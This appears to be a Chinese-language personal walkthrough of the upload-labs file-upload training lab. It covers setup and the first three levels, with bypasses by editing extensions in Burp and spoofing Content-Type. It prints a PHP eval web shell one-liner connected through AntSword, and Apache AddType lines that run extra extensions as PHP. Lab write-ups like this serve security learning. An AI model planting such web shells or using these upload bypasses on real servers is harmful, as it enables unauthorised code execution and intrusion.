upload-labs

环境安装 [小皮php+github源包]

github源包，打开安装错误
问题：卡顿
更改php版本 5.2.17
问题：还是跳转不出来，最后发现用 127.0.0.1成功显示
（无语啊！ localhost怎么你了！！！）
蚁剑连接:返回数据为空：编码改为base64

开刷

pass-01

查看源码，发现是在前端做文件后缀的认证，生成一句话测试木马.php.jpg，用bp直接修改后缀，去掉.jpg，访问连接 /upload/xxx.php，上传成功。上传一句话木马.php.jpg，用蚁剑连接，在根目录找flag

• 一句话测试 ： <?php phpinfo()?>
• 一句话木马 ： <?php @eval($_POST['cmd'])?>
  
  
  
  

pass-02

源码看出是做文件名的校对，看到type

• 直接上传php文件
• 修改 Content-Type为 image/jpeg
  

pass-03

看源码 发现检测点：文件后缀，文件名修改

• 随机生成了文件名 rand(1000.9999)
  
• 在bp的response发现返回的文件路径
  
• 上传 <?php phpinfo() ?>的文件，但是无法成功显示，修改apache服务器
  

AddType application/x-httpd-php .php .php3 .php5 .pht
AddType application/x-php .php .php3 .php5 .pht